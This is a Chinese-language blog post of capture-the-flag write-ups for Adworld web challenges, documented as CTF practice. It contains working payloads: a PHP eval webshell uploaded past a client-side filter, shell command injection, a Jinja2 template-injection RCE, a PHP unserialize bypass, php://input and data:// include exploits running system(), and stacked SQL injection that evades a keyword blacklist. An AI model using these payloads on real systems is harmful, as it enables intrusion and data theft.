Adworld Web Writeups 2

Coast23

NewsCenter

题目环境打不开, 暂时鸽.

upload1

查看源码, 发现存在前端校验.

function check() {
upfile = document.getElementById("upfile");
submit = document.getElementById("submit");
name = upfile.value;
ext = name.replace(/^.+\./, '');

if (['jpg', 'png'].contains(ext)) {
submit.disabled = false;
} else {
submit.disabled = true;

alert('请选择一张图片文件上传!');
}
}

前端校验很好绕过, Burp Suite 抓包修改文件后缀即可.

PHP 一句话木马:

<?=eval($_POST['cmd']);?>

保存为 hack.jpg, 启动 Burp SUite.

打开 Proxy 栏的 Intercept 选项, 然后 Open browser.

上传文件的时候, 把文件名由 hack.jpg 改为 hack.php, 再 Forward.

显示: upload success : upload/1742228565.hack.php, 看来只有前端校验.

接下来用 菜刀 连接, 启动虚拟终端即可.

Flag 在 /var/www/html/flag.php 中.

(我第一次做的时候, 拿到的flag是 xctf{} 格式, 提交显示错误. 重新开了一个环境才过…)


xff_referer

exp:

import requests

url = "http://61.147.171.105:52452/"

resp = requests.get(
url = url,
headers = {
"x-forwarded-for": "123.123.123.123",
"referer" : "https://www.google.com"
}
)
resp.encoding = resp.apparent_encoding
print(resp.text) # 输出中就有 flag 了.

command_execution

通过 && 连接多个命令.

输入: 127.0.0.1 && find / -name "*flag*"

看到 /home/flag.txt, 知道这个就是 Flag 了.

再输入 127.0.0.1 && cat /home/flag.txt 即可得到 Flag.


web2

这是题目:

<?php
$miwen = "a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";

function encode($str)
{
$_o = strrev($str);
// echo $_o;

for ($_0 = 0; $_0 < strlen($_o); $_0++) {

$_c = substr($_o, $_0, 1);
$__ = ord($_c) + 1;
$_c = chr($__);
$_ = $_ . $_c;
}
return str_rot13(strrev(base64_encode($_)));
}

highlight_file(__FILE__);
/*
逆向加密算法,解密$miwen就是flag
*/

简单的解密.

exp:

<?php
$miwen = "a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";

function encode($str)
{
$_o = strrev($str);
// echo $_o;

for ($_0 = 0; $_0 < strlen($_o); $_0++) {

$_c = substr($_o, $_0, 1);
$__ = ord($_c) + 1;
$_c = chr($__);
$_ = $_ . $_c;
}
return str_rot13(strrev(base64_encode($_)));
}

function decode($str)
{
$_ = base64_decode(strrev(str_rot13($str)));
// echo $_;

for ($_0 = 0; $_0 < strlen($_); $_0++) {

$_c = substr($_, $_0, 1);
$__ = ord($_c) - 1;
$_c = chr($__);
$_o = $_o . $_c;
}
return strrev($_o);
}

$flag = decode($miwen);
echo $flag; # flag:{NSCTF_b73d5adfb819c64603d7237fa0d52977}

Web_python_template_injection

访问 /index.html, 显示 URL http://61.147.171.105:57178/index.html not found.

盲猜 URL 处用了 Jinja2 模板引擎, 访问 /{{1+1}}, 显示 URL http://61.147.171.105:57178/2 not found, 猜测正确.

万能exp:

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='_IterationGuard' %}
{{ c.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()") }}
{% endif %}
{% endfor %}

发现 fl4g, 修改上述代码 cat 一下即可.

Flag: ctf{f22b6844-5169-4054-b2a0-d95b9361cb57}


Web_php_unserialize

<?php
class Demo
{
private $file = 'index.php';
public function __construct($file)
{
$this->file = $file;
}
public function __destruct()
{
echo @highlight_file($this->file, true);
}
public function __wakeup()
{
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}

代码解释得很清楚了:

<?php
class Demo
{
private $file = 'index.php';
public function __construct($file)
{
$this->file = $file;
}
}

$obj = new Demo('fl4g.php');

$str = serialize($obj);

echo $str, "\n";
# O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}

# __wakeup 的绕过: 序列中的元素数多于实际元素即可绕过
# "Demo":1:{ -> "Demo":2:{
$str = str_replace(':1:', ':2:', $str);

# 需要绕过 `o:<数字>:` 可以加个"+".
# O:4:"Demo" -> O:+4:"Demo"
$str = str_replace('O:', 'O:+', $str);

echo base64_encode($str);
# TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
import requests

payload = "TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ=="

url = "http://61.147.171.105:58693/"

resp = requests.get(url, params={"var": payload})

print(resp.text) # 可以看到 flag

Flag: ctf{b17bd4c7-34c9-4526-8fa8-a0794a197013}


php_rce

不会


Web_php_include

<?php
show_source(__FILE__);
echo $_GET['hello'];
$page = $_GET['page'];
while (strstr($page, "php://")) {
$page = str_replace("php://", "", $page);
}
include $page;

我有两种思路.

第一种, strstr是区分大小写的, 可以构造 PHP://input 来绕过.

import requests

url = "http://61.147.171.105:53803/?page=PHP://input"

resp = requests.post(url, data="<? system(\"ls\"); ?>")

print(resp.text)

'''
fl4gisisish3r3.php
index.php
phpinfo.php
'''

resp = requests.post(url, data="<? system(\"cat fl4gisisish3r3.php\"); ?>")

print(resp.text)

'''
<?php
$flag="ctf{876a5fca-96c6-4cbd-9075-46f0c89475d2}";
?>
'''

第二种, 除了 php:// 外, 还有其它的协议, 其中可以利用的就是 data://, 它会把用户的输入流当作 php 代码执行.

POC: data://text/plain;base64,<base64编码的php代码>

import requests
import base64

url = "http://61.147.171.105:53803/"

src1 = "<? system(\"ls\"); ?>"

resp = requests.get(
url + "?page=data://text/plain;base64," + base64.b64encode(src1.encode()).decode()
)
print(resp.text)

'''
fl4gisisish3r3.php
index.php
phpinfo.php
'''

src2 = "<? system(\"cat ./fl4gisisish3r3.php\"); ?>"

resp = requests.get(
url + "?page=data://text/plain;base64," + base64.b64encode(src2.encode()).decode()
)
print(resp.text)

'''
<?php
$flag="ctf{876a5fca-96c6-4cbd-9075-46f0c89475d2}";
?>
'''

supersqli

填入 1', 出现如下报错: error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1''' at line 1.

说明存在 SQL 注入漏洞.

sqlmap, 启动!

sqlmap 流程

sqlmap 用法详见 sqlmap 用户手册

  • step #0: 安装. pip install sqlmap 即可.
  • step #1: 探测注入点. sqlmap -u <url>.
  • step #2: 查询当前数据库. sqlmap -u <url> --current-db. 或查询所有数据库. sqlmap -u <url> --dbs.
  • step #3: 查询数据库表. sqlmap -u <url> -D <数据库名> --tables.
  • step #4: 列出数据库表字段. sqlmap -u <url> -D <数据库名> -T <表名> --columns.
  • step #5: 打印数据库表字段内容. sqlmap -u <url> -D <数据库名> -T <表名> --dump.

或者一把梭:

sqlmap -u <url> -D -T -C --dump --batch --thread 10

然而, 我用 sqlmap 没有注出来…

看来只能手动注了.

先进行 order by 测试:

1' order by 2 # : 正常输出
1' order by 3 # : 报错

说明只有 2 列.

再试试 union 注入:

1' union select 1,database() # : return preg_match("/select|update|delete|drop|insert|where|\./i",$inject); 爆出了 WAF. 这下知道为什么 sqlmap 没有注出来了.

试试 堆叠注入:

1'; show databases # :

array(1) {
[0]=>
string(11) "ctftraining"
}

array(1) {
[0]=>
string(18) "information_schema"
}

array(1) {
[0]=>
string(5) "mysql"
}

array(1) {
[0]=>
string(18) "performance_schema"
}

array(1) {
[0]=>
string(9) "supersqli"
}

array(1) {
[0]=>
string(4) "test"
}

那就是简单的查表查字段了.

1' ;show tables from ctftraining # :

array(1) {
[0]=>
string(10) "FLAG_TABLE"
}

array(1) {
[0]=>
string(4) "news"
}

array(1) {
[0]=>
string(5) "users"
}

1' ;show columns from ctftraining.FLAG_TABLE # : 报 WAF, 因为 . 被 ban 了.

有点小难受, 但还是有办法.

1'; use ctftraining; show columns from FLAG_TABLE # :

array(6) {
[0]=>
string(11) "FLAG_COLUMN"
[1]=>
string(12) "varchar(128)"
[2]=>
string(2) "NO"
[3]=>
string(0) ""
[4]=>
string(8) "not_flag"
[5]=>
string(0) ""
}

一个一个查就对了.

最终, 输入 0'; show columns from1919810931114514#, 发现 flag 字段:

array(6) {
[0]=>
string(4) "flag"
[1]=>
string(12) "varchar(100)"
[2]=>
string(2) "NO"
[3]=>
string(0) ""
[4]=>
NULL
[5]=>
string(0) ""
}

但是, select 被 ban 了, 要怎么获取字段中的数据呢?

我的做法是, 把 select 拆开来绕过黑名单. 这就要借助 MySQL 的 PREPARE 语句和 CONCAT 函数了.

POC:

1'; PREPARE hack from concat('s', 'elect', ' * from `1919810931114514`'); EXECUTE hack; #

Result:

array(1) {
[0]=>
string(38) "flag{c168d583ed0d4d7196967b28cbd0b5e9}"
}

Flag: flag{c168d583ed0d4d7196967b28cbd0b5e9}


  • 标题: Adworld Web Writeups 2
  • 作者: Coast23
  • 创建于 : 2025-03-18 00:14:54
  • 更新于 : 2025-03-31 18:12:58
  • 链接: https://coast23.github.io/2025/03/18/Adworld-Web-Writeups-2/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论